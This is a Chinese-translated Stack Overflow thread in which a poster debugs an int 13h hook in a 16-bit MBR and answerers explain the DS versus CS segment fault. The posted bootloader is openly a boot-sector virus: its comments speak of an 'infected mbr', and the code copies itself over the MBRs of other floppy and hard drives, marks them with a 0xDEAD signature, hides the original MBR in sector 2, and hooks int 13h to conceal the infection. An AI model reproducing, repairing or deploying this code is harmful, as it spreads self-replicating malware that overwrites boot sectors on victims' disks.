【问题标题】:MOV absolute addressing after relocate重定位后的MOV绝对寻址
【发布时间】:2016-09-24 22:17:31
【问题描述】:

我正在 MBR(16 位)中编写一个 int 13h 挂钩。我将旧的 int 向量保存为:

  mov ax, word [0x13*4]
  mov bx, word [0x13*4+2]
  mov [oldint13-cpy_original+0x7e00], ax
  mov [oldint13-cpy_original+0x7e00+2], bx

因为我在运行时重新定位了代码,所以我必须计算 oldint13 变量的正确位置。一切都很好,当我检查重定位的 oldint13 变量的位置时,有正确的地址(0xf000e3f3)。现在,在我挂钩 int 13h 之后,我想将原始 int 13h 处理程序调用为:

call [oldint13-cpy_original+0x7e00]

但它会跳转到地址 0。如果我进行检查:

mov ax, [oldint13-cpy_original+0x7e00]

ax 变为 0。 (oldint13-cpy_original+0x7e00) 正确解析为正确的地址,并且该地址仍包含正确的原始 int 13h 向量。甚至反汇编代码显示:

mov ax, [0x7e48]

这是正确的。

为什么它返回 0 呢? 16位有什么问题吗?

我的引导加载程序代码的完整副本如下:

[bits 16]
org 0x7c00


start:
  cli                         ; no interrupt zone
  mov BYTE [bootDrive], dl    ; save boot drive, this is infected drive
  mov sp, 0xFFF8              ; stack pointer
  xor ax, ax
  mov ds, ax
  mov es, ax

                            ; let's save infected mbr to location 0x7e00
  mov al, 0x01              ; load 1 sector
  mov ah, 0x02              ; read sector
  mov bx, 0x7e00            ; destination address + ES
  mov cx, 0x0001            ; cylinder 0, sector=1
  xor dh, dh                ; head 0
  call wr_sector
  ; TODO: read from 0x7c00!!!!
  ; now it's time to iterate through disks
  xor di, di                ; our disk counter
dsk_lp:
  mov dl, [disk_codes+di]   ; load disk code from our table
  cmp dl, [bootDrive]       ; check if this is our infected drive
  je nxt_disk               ; this is our drive, just go to the next one

  mov ah, 0x02              ; read sector
  mov cx, 0x0001            ; cylinder 0, sector=1
  mov bx, 0x8000            ; load original mbr to 0x8000
  call wr_sector
  jc nxt_disk               ; if carry is set, disk doesn't exist (most likely)
  add bx, sig               ; check if this drive is already signed
  sub bx, 0x7c00            ; calculated offset for signature
  cmp word [bx], 0xDEAD     ; compare with our signature 0xDEAD
  je nxt_disk               ; if already signed, jump to next disk

  mov ah, 0x03              ; dirty business, copy our infected mbr to new drive
  mov bx, 0x7e00            ; we copied infected mbr to 0x7e00 earlier
  call wr_sector            ; perform write

  mov ah, 0x03
  mov cx, 0x0002            ; write original mbr to 2nd sector
  mov bx, 0x8000            ; we saved sector to 0x8000
  call wr_sector            ; perform write
nxt_disk:
  inc di                    ; increment our counter
  cmp di, 0x04              ; we are over the available disks
  jl dsk_lp                ; jump if lower than 4

; now we'll copy back original MBR and jump to it
; we have to relocate ourselves to 0x7e00, so we don't overwrite when copying
; original MBR
relocate:
  mov dl, [bootDrive]             ; retrieve current boot drive
  mov si, cpy_original            ; source address
  mov di, 0x7e00                  ; destination address, 0x7e00 in our case
  mov cx, end_cpy                 ; load end of code address
  sub cx, cpy_original            ; subtract start of code, cx = code length
  rep movsb                       ; copy stuff from source to dest address

  jmp 0x7e00                      ; jump to new address

; this code resides on 0x7e00 after copying
cpy_original:                   ; this code will copy original MBR to 0x7c00
  mov ah, 0x02                  ; read sector, ah = 0x02
  mov cx, 0x0002                ; read 2nd sector
  mov bx, 0x7c00                ; dest address
  call wr_sector                ; copy orignal MBR

  ; before we jump into org mbr, let's hook int 13h
  mov ax, word [0x13*4]
  mov bx, word [0x13*4+2]
  mov [oldint13-cpy_original+0x7e00], ax
  mov [oldint13-cpy_original+0x7e00+2], bx
  mov ax, dsk_hook
  sub ax, cpy_original
  add ax, 0x7e00
  mov word [0x13*4], ax
  mov word [0x13*4+2], 0
  ;mov ah, 0x02
  ;mov al, 0x01
  ;mov cx, 0x0001
  ;mov bx, 0x8000
  ;call wr_sector
  mov ax, 0xaa55
  jmp 0x0:0x7c00                  ; far jump to the original MBR

dsk_hook:
  nop
  pushf
  cmp ah, 0x02
  jne .end_hook
  cmp cx, 0x0001
  jne .end_hook
  mov cx, 0x0002
.end_hook:
  popf
  ;mov ax, [cs:oldint13-cpy_original+0x7e00]
  call [cs:oldint13-cpy_original+0x7e00]
  ;call 0xe3fe
  nop
  ;mov ax, ax
  ret

oldint13:
  dd 45                   ; var for saving int13 address

; write/read sector on disk, based on
; ah = 0x02 read, ah = 0x03 write
; dl = disk number
wr_sector:
  mov si, 0x03                ; max number of attempts to read from drive
  .lprs:
    int 0x13
    jnc .endrs                  ; alright carry was not set, read was successful
    dec si                      ; decrement counter
    jc .endrs
    pusha
    xor ah, ah                  ; ah = 0, reset disk
    int 0x13                    ; reset disk, we have to try this at most 3 times
    popa
    jmp .lprs
  .endrs:
    retn

end_cpy:                         ; end of code for copying original MBR


times (218 - ($-$$)) nop      ; Pad for disk time stamp

DiskTimeStamp times 8 db 0    ; Disk Time Stamp

bootDrive db 0                ; Our Drive Number Variable
disk_codes:                   ; available drives variable
  db 0x0                      ; first floppy disk
  db 0x1                      ; second floppy disk
  db 0x80                     ; first hard disk
  db 0x81                     ; second hard disk
sig dw 0xDEAD

times (0x1b4 - ($-$$)) nop    ; Pad For MBR Partition Table

UID times 10 db 0             ; Unique Disk ID
PT1 times 16 db 0             ; First Partition Entry
PT2 times 16 db 0             ; Second Partition Entry
PT3 times 16 db 0             ; Third Partition Entry
PT4 times 16 db 0             ; Fourth Partition Entry

dw 0xAA55                     ; Boot Signature

【问题讨论】:

  • 我假设重新定位您的意思是您将 512 个字节从 0x7c00 复制到 0x7e00? cpy_original 是什么?如果您只是提供了整个引导加载程序(无法想象它有那么大),那将会有所帮助。关于重新定位引导加载程序的主题,您可以通过遵循这个想法I recently posted 到另一个 SO 问题(关于 MBR 重新定位)来避免很多麻烦。这种方法将避免对变量偏移进行调整。我提供了2个答案。涉及 ORG 0x0000 的问题可能最容易考虑。
  • 我对您调用旧中断向量的一个担忧是call [oldint13-cpy_original+0x7e00] 实际上是call [DS:oldint13-cpy_original+0x7e00]DS 在您的中断处理程序中是否正确?如果你用CS: 覆盖它会发生什么?我怀疑您的 DS 段在中断处理程序中不是 0x0000,如果它不是 - 您将读取从错误的内存位置跳转到的地址。
  • 显示您的完整代码。否则我们只是猜测问题所在。
  • 去年有一个人写了一个中断处理程序(在引导加载程序中),我对此做出了回应。他没有进行重定位,但我确实从中断处理程序中讨论了 DS 问题并访问内存位置。不确定是否有任何价值,但你可以找到答案here
  • 我创建了 repo link 虽然现在一团糟。我正在阅读您的链接,抱歉回复晚了。从表面上看,我缺乏一些关于细分和东西的知识。

标签: assembly nasm interrupt bios mbr


【解决方案1】:

this 的副本。 MOV 隐式使用 DS 寄存器,它是一个随机数。将其更改为 CS,这是根据 @Michael Petch 中断处理程序中唯一正确的寄存器:

mov ax, [cs:oldint13-cpy_original+0x7e00]

【讨论】:

  • CS:IP 是根据你写入中断表的内容来设置的。您不能依赖 DS 是您所期望的(在进入您的中断处理程序时),但 CS 将是您放置在那里的中断表中的段值。虽然覆盖 CS 是解决问题的一种方法,但您可以在中断处理程序中设置 DS=CS,但您必须在进入时保存原始 DS,设置DS 到你想要的(在你的情况下为 0x0000 或 CS),然后在完成后恢复它。
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2015-06-25
  • 1970-01-01
  • 2014-11-30
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多